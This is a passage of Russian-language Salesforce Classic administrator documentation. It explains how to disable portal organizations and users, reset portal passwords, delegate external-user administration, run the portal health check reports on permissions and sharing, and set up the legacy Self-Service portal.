– Нажмите кнопку «Управление внешней организацией» на странице сведений об организации клиентского
портала или организации-лице клиентского портала и выберите пункт «Выключить организацию-клиента».

Принеобходимостикнопки«Выключитьорганизацию-клиента»и«Выключитьорганизацию-партнера»могут
быть удалены из макетов страниц организаций. Данное действие предотвращает отключение организаций портала
пользователями с полномочием «Редактирование пользователей портала самообслуживания» или «Управление
внешними пользователями».

• Отключение пользователя или организации портала регистрируется контрольным журналом настройки.

• Роли отключенных пользователей портала, связанных с организациями-лицами, не удаляются. Тем не менее, чтобы
удалить роли портала вручную, выполните указанные ниже действия.

1. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Пользователи».

2. Выберите имя отключенного пользователя портала.
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3. Нажмите кнопку «Правка».

4. Выберите значение «Нет» в раскрывающемся списке «Роль».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Включение клиентского портала для контактов и организаций-лиц

Выключение организаций-клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для создания или
выключения организаций:
• «Создание» для

организаций

Для включения
организации-клиента:
• “Управление внешними

пользователями»

Выключение организации-клиента инициирует выключение связанных внешних
пользователей. Рекомендуем выключать организацию-клиента только при случайном
включении организации.

Организации-клиенты не могут быть удалены, но могут быть выключены. Выключение
организации инициирует необратимое выключение не более 100 связанных внешних
пользователейиихудалениеизвсехсвязанныхсообществ, групп, рабочихгрупп, наборов
полномочий и правил общего доступа. Данное количество охватывает активных и
неактивных внешних пользователей. Кроме того, роли и группы, связанные с
организацией, удаляются без возможности восстановления.

Прим.: Организация, связанная как минимум с 100 активными или неактивными
внешними пользователями, не может быть выключена. Прежде чем выключить
организацию, рекомендуем выключить пользователей.

1. Откройте страницу сведений о нужной организации.

2. Нажмите кнопку «Управление внешней организацией» и выберите пункт
«Выключить организацию-клиента».

3. Нажмите кнопку «OK».

После выключения организации отдельные контакты могут быть повторно включены
в качестве пользователей клиентского портала. Повторное включение контакта для
клиентского портала инициирует создание записи пользователя клиентского портала
и роли, которые не связываются с предыдущей записью пользователя клиентского
портала и ролью. Удаленные роли и группы не могут быть восстановлены.

Редактирование сведений о пользователе клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Редактирование пользователей портала
самообслуживания»

Для управленияпользователями клиентского
портала:

«Управление профилями и наборами
полномочий»

Для управления профилями и наборами
полномочий:

«Настройка приложения»Для создания, редактирования и удаления
макетов страниц:
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«Управление профилями и наборами полномочий»

И

Для настройки параметров безопасности поля:

«Настройка приложения»

«Управление общим доступом»Для настройки правил общего доступа:

Прим.: Начиная с выпуска Summer'13 клиентскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать клиентский портал в обычном режиме. При отсутствии клиентского портала общий доступ к
данным может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить использование собственных
клиентских порталов или выбрать использование сообществ. Дополнительную информацию можно получить у
менеджера по работе с клиентами Salesforce.

Сведения о пользователе клиентского портала Salesforce могут быть изменены для контактов, связанных с доступными
организациями. Чтобы изменить сведения о пользователе клиентского портала, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Внесите необходимые изменения и нажмите кнопку «Сохранить».

Советы по редактированию сведений о пользователе клиентского портала

Ниже перечислены рекомендации по редактированию сведений о пользователе клиентского портала.

• Чтобы просмотреть только пользователей клиентского портала путем фильтрации по типам лицензий «Менеджер
клиентского портала» и «Пользователь клиентского портала», создайте настраиваемое списковое представление.
Например, введите критерий «"Тип лицензии" равно "Пользователь клиентского портала", "Менеджер клиентского
портала"».

• При создании пароля новый пароль автоматически отправляется на адрес эл. почты пользователя, а проверка почты
не выполняется.

• При изменении адреса эл. почты пользователя электронное подтверждение не применяется.

• Компонент «Приветствие клиентского портала» может быть добавлен в макеты начальной страницы, назначенные
пользователям клиентского портала, чтобы разрешить отображение индивидуальных приветственных сообщений
при входе пользователей на портал, а также предоставить возможность изменения собственных имен, паролей,
регионов, языков, часовых поясов и контактных данных. Изменение сведений о пользователях портала инициирует
обновление соответствующих записей пользователей, но не поддерживает автоматическое обновление записей
контактов.

СМ. ТАКЖЕ:

Общие сведения об управлении пользователями клиентского портала

Отключение и деактивация пользователей портала
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Восстановление паролей пользователей клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановленияпаролей
пользователей клиентского
портала:
• «Редактирование

пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Ссылка «Забылипароль?», доступнаянастраницевхода, позволяетвосстановитьпароль
пользователя на клиентском портале Salesforce.

Чтобывосстановитьпарольпользователяна клиентскомпортале, выполните указанные
ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Установитефлажокнапротивименинужногопользователя. Чтобыизменитьпароли
для всех отображаемых пользователей, установите флажок в заголовке
соответствующего столбца.

3. Нажмитекнопку«Сброситьпароль». Пользовательполучитэлектронноесообщение,
содержащее ссылку и инструкции для сброса пароля.

Совет: Компонент «Приветствие клиентского портала» может быть добавлен в макеты начальной страницы,
назначенные пользователям клиентского портала. Приветственное сообщение, отображающееся каждому
пользователюпривходена клиентскийпортал, содержитимясоответствующегопользователя. Принеобходимости
пользователи могут изменить имя, пароль, регион, язык, часовой пояс и контактные данные, используемые на
портале. Изменение сведений о пользователях портала инициирует обновление соответствующих записей
пользователей, но не поддерживает автоматическое обновление записей контактов.

СМ. ТАКЖЕ:

Общие сведения об управлении пользователями клиентского портала
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Делегирование администрирования пользователей клиентского портала и суперпользователь
портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователямиклиентского
портала:
• “Делегированный

администратор внешних
пользователей»

Для создания,
редактирования и удаления
профилей:
• «Управление

профилями и наборами
полномочий»

Для просмотра и
редактирования всех
обращений и контактов
организации:
• “Суперпользователь

портала"

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Некоторые полномочия администратора могут быть делегированы пользователям
клиентского портала с лицензией «Менеджер клиентского портала: настраиваемый».
Ниже перечислены действия, доступные делегированным администраторам внешних
пользователей над внешними пользователями, включая пользователей-клиентов и
пользователей-партнеров, связанными с собственными организациями.

• Создание внешних пользователей

• Редактирование текущих внешних пользователей

• Сброс паролей для внешних пользователей

• Деактивация текущих внешних пользователей

Прим.: Делегированный администратор внешних пользователей,
деактивирующийпользователяпортала, неможетудалитьпользователяпортала
из рабочих групп с его участием.

Делегированныеадминистраторывнешнихпользователеймогутпросматриватьстраницы
сведений об организациях, а также контакты и обращения, связанные с организациями
посредством вкладки «Организации». Кроме того, делегированным администраторам
внешнихпользователейназначаетсяполномочие «Суперпользовательпортала». Данное
полномочие позволяет делегированным администраторам внешних пользователей
выполнять над собственными организациями указанные ниже действия.

• Просмотр, редактирование и перенос всех обращений

• Создание обращений для контактов

• Просмотр и редактирование всех контактов (независимо от поддержки портала)

• Просмотр сведений об организациях, являющихся контактами обращения

• Составление отчетов по всем контактам (независимо от поддержки портала), если вкладка «Отчеты» добавлена на
клиентский портал, а пользователю назначено полномочие «Запуск отчетов»

Чтобы предоставить внешним пользователям доступ к собственным организациям, а также разрешить просмотр и
редактирование всех связанных обращений и контактов, но запретить управление другими внешними пользователями,
добавьтеполномочие «Суперпользовательпортала» впрофиливнешнихпользователей (кромепользователеймассового
портала). Тем не менее, вкладка «Контакты» на клиентском портале доступна суперпользователям только при наличии
полномочия «Делегированный администратор внешних пользователей». Чтобыизменить контакты, суперпользователь
должен выбрать контакт в записи обращения. Дополнительную информацию см. в подразделах ниже.

• Делегирование прав администрирования внешних пользователей

• Назначение пользователям полномочия «Суперпользователь портала»
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• Советы по настройке делегированного администрирования пользователей клиентского портала

Делегирование прав администрирования внешних пользователей

Прим.: Делегирование прав администрирования внешних пользователей поддерживается только исходным
пользовательским интерфейсом профиля. При использовании расширенного пользовательского интерфейса
профиля рекомендуем временно отключить даннуюфункцию в параметрах пользовательского интерфейса.

Чтобы делегировать права администрирования внешних пользователей, выполните указанные ниже действия.

1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Профили», а затем
выберите нужный профиль клиентского портала.

Праваделегированияиполномочие «Суперпользовательпортала»немогутбытьдобавленывследующиестандартные
профили: «Менеджерклиентскогопортала», «Пользовательклиентскогопортала» или «Массовыйклиентскийпортал».

2. Нажмите кнопку «Правка».

3. Установите флажок «Делегированный администратор внешних пользователей».

Приустановкефлажка«Делегированныйадминистраторвнешнихпользователей»флажок«Суперпользователь
портала» устанавливается автоматически после нажатия кнопки «Сохранить».

4. Нажмите кнопку «Сохранить».

5. Нажмите кнопку «Правка» в связанном списке «Профили делегированных внешних пользователей».

6. Выберитенужныепрофиливнешнихпользователей. Делегированныйадминистраторвнешнихпользователейможет
управлять внешними пользователями с профилями клиентского портала, партнерского портала или сообществ при
условии их принадлежности к одной и той же организации.

7. Нажмите кнопку «Сохранить».

Чтобы изменить профили, доступные делегированному администратору пользователей клиентского портала для
редактирования, выполните указанные ниже действия.

1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Профили», а затем
выберите нужный профиль клиентского портала.

2. Нажмите кнопку «Правка» в связанном списке «Профили делегированных внешних пользователей».

3. Выберите нужные профили внешних пользователей.

4. Нажмите кнопку «Сохранить».

Ниже перечислены задачи, доступные делегированным администраторам клиентского портала на страницах сведений
о контактах.

• Чтобыразрешить контакту использование клиентскогопортала, щелкните «Включитьпользователяклиентского
портала».

• Чтобыпросмотретьсведенияопользователеклиентскогопортала, щелкните«Просмотрпользователяклиентского
портала». Нижеперечисленыдействия, доступныеделегированнымпользователямклиентскогопорталана странице
сведений о пользователе клиентского портала.

– Чтобы изменить сведения о пользователе клиентского портала, нажмите кнопку «Правка».

– Чтобы восстановить пароль пользователя клиентского портала, нажмите кнопку «Сбросить пароль».

– Чтобы деактивировать пользователя, нажмите кнопку «Правка» и снимите флажок «Активно».
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Назначение пользователям полномочия «Суперпользователь портала»

Чтобы назначить пользователям полномочие «Суперпользователь портала», выполните указанные ниже действия.

1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Профили», а затем
выберите нужный профиль клиентского портала.

Полномочие «Суперпользовательпортала»неможетбытьдобавленов следующиестандартныепрофили: «Менеджер
клиентского портала», «Пользователь клиентского портала» или «Массовый клиентский портал».

2. Нажмите кнопку «Правка».

3. Установите флажок «Суперпользователь портала».

4. Нажмите кнопку «Сохранить».

Совет: Чтобы составить отчет по профилям с полномочием «Суперпользователь портала», выполните указанные
ниже действия.

1. Запомните имена профилей, содержащих полномочие «Суперпользователь портала».

2. Откройте вкладку «Отчеты».

3. Выберите отчет «Все активные пользователи» в папке «Административные отчеты».

Советы по настройке делегированного администрирования пользователей клиентского портала

Ниже перечислены рекомендации по настройке делегированного администрирования пользователей клиентского
портала.

• Выполните указанные ниже действия в профиле соответствующих пользователей.

– Чтобыразрешитьделегированнымадминистраторампорталаипользователямсполномочием «Суперпользователь
портала» создание и обновление контактов, связанных с организацией, добавьте полномочия «Создание» и
«Редактирование» для контактов.

– Чтобы разрешить делегированным администраторам портала просмотр вкладок «Организации» и «Контакты», а
также управление контактами, связанными с их организациями, выберите значение «Включены стандартные
параметры» для вкладок «Организации» и «Контакты».

• Добавьте вкладки «Организации» и «Контакты» на клиентский портал.

• Чтобы разрешить делегированным администраторам пользователей клиентского портала и суперпользователям
портала просмотр только определенных полей организаций, контактов и обращений, настройте параметры
безопасности поля и макеты страниц.

Прим.: Чтобы разрешить суперпользователям портала создание обращений для других контактов, выберите
значение «Для редактирования» в параметрах безопасности для поля обращений «Имя контакта».

• Пользователиклиентскогопорталанемогутпросматривать связанные спискидлянедоступныхобъектов. Например,
если пользователь клиентского портала просматривает контакт, а макет страницы контактов содержит связанный
список «Возможности», то пользователь портала не может просмотреть связанный список «Возможности» ввиду
недоступности данного объекта.

• Делегированные администраторы пользователей клиентского портала могут обновлять пользователей портала в
любых целевых организациях.

СМ. ТАКЖЕ:

Общие сведения об управлении пользователями клиентского портала
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Состояние клиентского портала

Проверка состояния портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отчетов по
проверке состоянияпортала:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Изменение всех
данных»

Клиенты и партнеры могут получить доступ к сведениям портала самыми различными
способами. Отчетыпопроверкесостоянияпорталапозволяютконтролироватьданный
доступ, так как отображаютпараметрыпортала, связанные с безопасностью, и содержат
сведения, которые могут использоваться для повышения безопасности портала.

Клиентские и партнерские порталы позволяют пользователям не только сотрудничать
со своими клиентами и партнерами, но и предоставлять им свои услуги. Порталы
поддерживают общий доступ и сбор сведений от сторонних пользователей. Чтобы
гарантировать общий доступ только к нужным сведениям, воспользуйтесь
рекомендациями по внедрению портала.

Прим.: Отчеты по проверке состояния портала охватывают важные полномочия
пользователя, полномочия объекта и полномочия поля, предоставленные
посредством профилей, а также единые параметры общего доступа и правила
общего доступа. Ниже перечислены средства предоставления пользователям
портала доступа к записям, которые отсутствуют в отчетах по проверке состояния
портала.

• Наборы полномочий

• Общий доступ, установленный вручную

• Управляемый общий доступ к Apex

• Территории

• Списковые представления

• Группы

• Очереди

• Рабочие группы

• Библиотеки Salesforce CRM Content

• Папки

Чтобыпросмотретьотчетыпосостояниюпортала, введите «Проверка состояния портала» вполе «Быстрый поиск» меню
«Настройка» и выберите «Проверка состояния портала». Щелкните нужный отчет.

Ниже перечислены доступные отчеты.

• Полномочия администратора и пользователя

• Доступ к объекту и безопасность поля

• Единые стандартные параметры общего доступа

• Правила общего доступа
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Прим.: Отчетыпопроверке состоянияпортала не содержатинформациипообщему доступуна основе критериев,
пользователям массового портала и пользователям портала самообслуживания.

СМ. ТАКЖЕ:

Просмотр отчета «Полномочия администратора и пользователя» для пользователей портала

Просмотр отчета «Доступ к объекту и безопасность поля» для пользователей портала

Просмотр отчета «Единые стандартные параметры общего доступа» для пользователей портала

Просмотр отчета «Правила общего доступа» для пользователей портала

Просмотр отчета «Полномочия администратора и пользователя» для пользователей портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отчетов по
проверке состоянияпортала:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Изменение всех
данных»

Полномочия пользователя позволяют расширить доступ пользователей к данным.
Рекомендуемпроявлятьосторожностьпринастройкеполномочийдляпрофиля. Отчет
«Полномочия администратора и пользователя» — это один из отчетов по проверке
состоянияпортала, позволяющийпросматриватьпрофилипорталаиважныепараметры
полномочий.

Прим.: Данныйотчет не отображает полномочия, предоставленныепосредством
наборов полномочий.

Отчетотображает количествопользователейпортала, назначенноекаждомупрофилю,
и перечисленные ниже параметры полномочий.

• Делегированный администратор внешних пользователей

• Отправка эл. почты

• Преобразование интересов

• Редактирование событий

• Редактирование продажной цены продукта возможности

• Редактирование задач

• Перенос обращений

• Суперпользователь портала

• API включен

• Пароль без срока действия

• Создание библиотек

• Просмотр содержимого на порталах

• Экспорт отчетов

• Запуск отчетов

Прим.: В зависимости от параметров организации некоторые полномочия могут не отображаться в отчете.

Чтобы просмотреть данный отчет, выполните указанные ниже действия.

1. Введите строку «Проверка состояния портала» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Проверка состояния портала».

2. Щелкните ссылку «Полномочия администратора и пользователя».

Ниже перечислены действия, доступные на странице отчета.
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• Чтобы просмотреть страницу сведений о профиле, щелкните имя нужного профиля.

• Просмотр отфильтрованного списка элементов путем выбора нужного представления в раскрывающемся списке.

• Возврат к списку отчетов по нажатию ссылки «Назад к списку: отчеты по проверке состояния портала».

СМ. ТАКЖЕ:

Проверка состояния портала

Просмотр отчета «Доступ к объекту и безопасность поля» для пользователей портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отчетов по
проверке состоянияпортала:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Изменение всех
данных»

Полномочия объекта определяют уровень доступа пользователей к стандартным и
настраиваемымобъектам. Важноотслеживатьэтисведениядляпрофилейпользователей
портала, чтобы у пользователей был доступ только к соответствующим объектам и
полям. Отчет «Доступкобъектуибезопасностьполя» — этоодинизотчетовпопроверке
состояния портала, который позволяет это делать.

В отчете «Доступ к объекту и безопасность поля» отображается, сколько профилей
порталаимеютдоступккаждомустандартномуинастраиваемомуобъектуворганизации.
Для каждого объекта также указано количество пользователей портала с доступом,
уровень доступа к объекту и поля, которые могут видеть эти пользователи.

Прим.: Отчет «Доступкобъектуибезопасностьполя» неотображаетполномочия,
предоставленные посредством наборов полномочий.

Чтобы просмотреть данный отчет, выполните указанные ниже действия.

1. Введите строку «Проверка состояния портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Проверка состояния портала».

2. Щелкните ссылку «Доступ к объекту и безопасность поля».

3. На странице отчета щелкните имя объекта.

Ниже перечислены действия, доступные на странице сведений об объекте.

• Чтобы просмотреть страницу сведений о профиле, щелкните имя нужного
профиля.

• Чтобыпросмотретьстраницусведенийопараметрахбезопасностиполя, заданных
в профиле, нажмите «доступные поля».

• Чтобы вернуться к отчету «Высокоуровневый доступ к объекту и безопасность
поля», щелкните ссылку «Доступ к объекту и безопасность поля».

Ниже перечислены действия, доступные на страницах отчета.

• Просмотр отфильтрованного списка элементов путем выбора нужного представления в раскрывающемся списке.

• Чтобы вернуться к списку отчетов, щелкните ссылку «Назад к списку: отчеты по проверке состояния портала».

СМ. ТАКЖЕ:

Проверка состояния портала

Полномочия объекта

Общие сведения о безопасности поля
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Просмотр отчета «Единые стандартные параметры общего доступа» для пользователей портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отчетов по
проверке состоянияпортала:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Изменение всех
данных»

Для настройки стандартного
общего доступа:
• «Управление общим

доступом»

Отчет «Единые стандартные параметры общего доступа» — это один из отчетов по
проверкесостоянияпортала, позволяющийпросматриватьстандартныеинастраиваемые
объекты, а также стандартные параметры доступа для каждого объекта. Данный отчет
позволяет просматривать и редактировать единые стандартные параметры, которые
могут предоставлять пользователям портала доступ к записям.

Единыестандартныепараметрыопределяютстандартныйуровеньдоступапользователей
организациидля каждого объекта. Если стандартному уровнюдоступа задано значение
«Общедоступный», то пользователи, которым предоставлены полномочия объекта
(«Чтение», «Создание», «Редактирование» или «Удаление»), могут получить доступ к
чужим записям. Например, если объекту «Организация» задан стандартный уровень
доступа «Общедоступный: для чтения и записи», то пользователи с полномочием
«Чтение» для объекта «Организация» могут просматривать любые записи организаций.
При настройке единых стандартных параметров рекомендуем убедиться, что
пользователи портала могут просматривать только доступные объекты.

Чтобы просмотреть данный отчет, выполните указанные ниже действия.

1. Введите строку «Проверка состояния портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Проверка состояния портала».

2. Щелкните ссылку «Единые стандартные параметры общего доступа».

Отчетотображает стандартныйпараметрдоступадля каждогообъекта. Еслиобъекту
задан стандартный уровень доступа «Общедоступный», «Показать сведения» (для
календаря) или «Использование» (для прайс-листа), то пользователи портала с
включенными полномочиями объекта могут просматривать записи других
пользователей. В этом случае в столбце «Безопасность» отображается стандартное
значение «Низкая». Полномочия объекта, назначенные профилям портала, могут
быть просмотрены в отчете «Доступ к объекту и безопасность поля».

Еслиобъекту заданстандартныйуровеньдоступа «Личный», «Скрытьсведения» (для
календаря) или «Нет доступа» (для прайс-листа), то столбец «Безопасность»
отображает значение «Высокая».

Прим.: Тем не менее, правила общего доступа предоставляют пользователям
портала доступ к записям других пользователей даже при использовании
строгих единых параметров общего доступа.

Приналичиифлажка «Предоставить доступ с использованием иерархий» записиобъекта, принадлежащиеодному
пользователю, доступны любому другому вышестоящему пользователю в иерархии ролей или территорий.

Ниже перечислены действия, доступные на странице отчета.

• Чтобыизменить единыепараметрыобщегодоступадлялюбогообъекта, нажмите кнопку «Правка», а затемизмените
нужные параметры на странице «Редактирование единых стандартных параметров общего доступа».

• Просмотр отфильтрованного списка элементов путем выбора нужного представления в раскрывающемся списке.

• Чтобы вернуться к списку отчетов, щелкните ссылку «Назад к списку: отчеты по проверке состояния портала».

СМ. ТАКЖЕ:

Проверка состояния портала
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Просмотр отчета «Правила общего доступа» для пользователей портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отчетов по
проверке состоянияпортала:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Изменение всех
данных»

Для создания и
редактирования правил
общего доступа:
• «Управление общим

доступом»

Отчет «Правилаобщегодоступа» — этоодинизотчетовпопроверке состоянияпортала,
позволяющий просматривать все правила общего доступа, предоставляющие
пользователям портала доступ к чужим записям. Отчет отображает количество
пользователей портала, которые могут получить доступ к записям в результате
применения каждого правила общего доступа, а также позволяет редактировать уровни
доступа для каждого правила. Отчет позволяет открывать страницы сведений для
некоторых типов категорий пользователей (например, групп, ролей и территорий),
поддерживающие редактирование, удаление или управление пользователями данной
категории.

Чтобы просмотреть данный отчет, выполните указанные ниже действия.

1. Введите строку «Проверка состояния портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Проверка состояния портала».

2. Щелкните ссылку «Правила общего доступа».

Столбец «Количество задействованных пользователей портала» отображает
количество пользователей портала, которые могут получить доступ в результате
примененияправилаобщегодоступа. Данное количествоохватываетпользователей
портала, указанных в правиле, и любых вышестоящих пользователей портала в
иерархии ролей или территорий при наличиифлажка «Предоставить доступ с
использованием иерархий» для объекта. При наличии полномочий объекта
(«Чтение», «Создание», «Редактирование» или «Удаление») пользователи данной
категории могут просматривать записи, разрешенные правилом.

Прим.:

• Отчет «Правила общего доступа» не содержит правил общего доступа на
основе критериев.

• Отчет «Правила общего доступа» не проверяет полномочия объекта для
пользователей портала.Полномочия объекта, назначенные профилям
портала, могутбытьпросмотренывотчете «Доступкобъектуибезопасность
поля».

Ниже перечислены действия, доступные на странице отчета.

• Чтобы изменить уровень доступа в правиле общего доступа, нажмите кнопку «Правка» и измените параметры на
странице редактирования правила общего доступа.

• Чтобы просмотреть сведения о категории пользователей в правиле общего доступа, щелкните ссылку в столбце
«Ответственный» или «Общий доступ с».

• Просмотр отфильтрованного списка элементов путем выбора нужного представления в раскрывающемся списке.

• Чтобы вернуться к списку отчетов, щелкните ссылку «Назад к списку: отчеты по проверке состояния портала».

Прим.: Правила общего доступа к организациям и территориям организаций предоставляют доступ к контактам,
возможностям и обращениям, связанным с общедоступными организациями. Отчет «Правила общего доступа»
отображает уровни доступа только для объектов верхнего уровня, но не связанных объектов.

СМ. ТАКЖЕ:

Проверка состояния портала
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Портал самообслуживания

Запуск портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования запуска
портала самообслуживания:
• «Управление порталом

самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Кнопка«Запуск»позволяетбыстрозапуститьпорталсамообслуживания. Даннаякнопка
автоматизирует процесс настройки путем автоматического определения некоторых
стандартных параметров.

Прим.: JavaScript неможет быть сохранен как часть настраиваемого кода, а система
позволяет использовать только определенные HTML-элементы и атрибуты.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в настройке,
выберите пункт «Параметры», затем щелкните «Запуск».

2. Просмотрите процесс и нажмите кнопку «Продолжить».

3. Выберите цветовую тему.

4. При необходимости измените стандартные параметры и нажмите кнопку
«Сохранить».

5. Чтобы протестировать работу портала самообслуживания, выполните указанные
ниже действия.

a. Чтобы создать пробную учетную запись, щелкните «Создать».

b. Чтобыоткрыть страницыдляпредварительногопросмотра, щелкните «Доступкпорталусамообслуживания».

c. Чтобы сообщить другим пользователям порядок входа и предварительного просмотра страниц, щелкните
«Пригласить».

6. Чтобы включить портал самообслуживания, скопируйте ссылку, отображающуюся в разделе «Включить
самообслуживание...», и вставьте ее в нужную область веб-сайта.

7. По завершении нажмите кнопку «Готово».

8. Предоставьте клиентам доступ к порталу самообслуживания. См. раздел «Управление пользователями портала
самообслуживания» на странице 2743.

Совет: Дополнительнуюинформациюобизменениипараметров см. вразделе «Включениефункцийипараметров
портала самообслуживания» на странице 2719. Запуск портала самообслуживания инициирует автоматическую
активацию кнопки «Включить самообслуживание» на страницах сведений о контактах.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Полезные советы для администраторов: эффективное использование портала самообслуживания

Руководство по административной настройке: руководство по внедрению портала самообслуживания
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Настройка портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования запуска
портала самообслуживания:
• «Управление порталом

самообслуживания»

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Порталсамообслуживания — этоканалоперативнойподдержки, позволяющийклиентам
решать возникшие вопросы без обращения к представителю службы поддержки.

Портал самообслуживания отличается простой настройкой. Воспользуйтесь одним из
двух способов настройки ниже.

• «Запуск»: быстрый запуск портала самообслуживания (см. раздел «Запуск портала
самообслуживания» на странице 2717).

• «Настройка портала самообслуживания»: расширенная настройка портала
самообслуживания. Ниже перечислены выполняемые действия.

– Включениефункцийипараметровпорталасамообслуживаниянастранице2719

– Настройка внешнего вида портала самообслуживания на странице 2723

– Настройка шрифтов и цветов портала самообслуживания на странице 2724

– Настройка страниц портала самообслуживания на странице 2725

– Создание HTML входа на странице 2741

– Управление пользователями портала самообслуживания на странице 2743

СМ. ТАКЖЕ:

Запуск портала самообслуживания

Настройка внешнего вида портала самообслуживания

Настройка шрифтов и цветов портала самообслуживания

Полезные советы для администраторов: эффективное использование портала
самообслуживания

Руководство по административной настройке: руководство по внедрению портала
самообслуживания

2718

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки

https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/salesforce_selfservice_cheatsheet.pdf
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/salesforce_selfservice_cheatsheet.pdf
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/salesforce_selfservice_implementation_guide.pdf
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/salesforce_selfservice_implementation_guide.pdf


Включение функций и параметров портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. В настройках введите строку «Портал самообслуживания» в поле «Быстрый поиск»
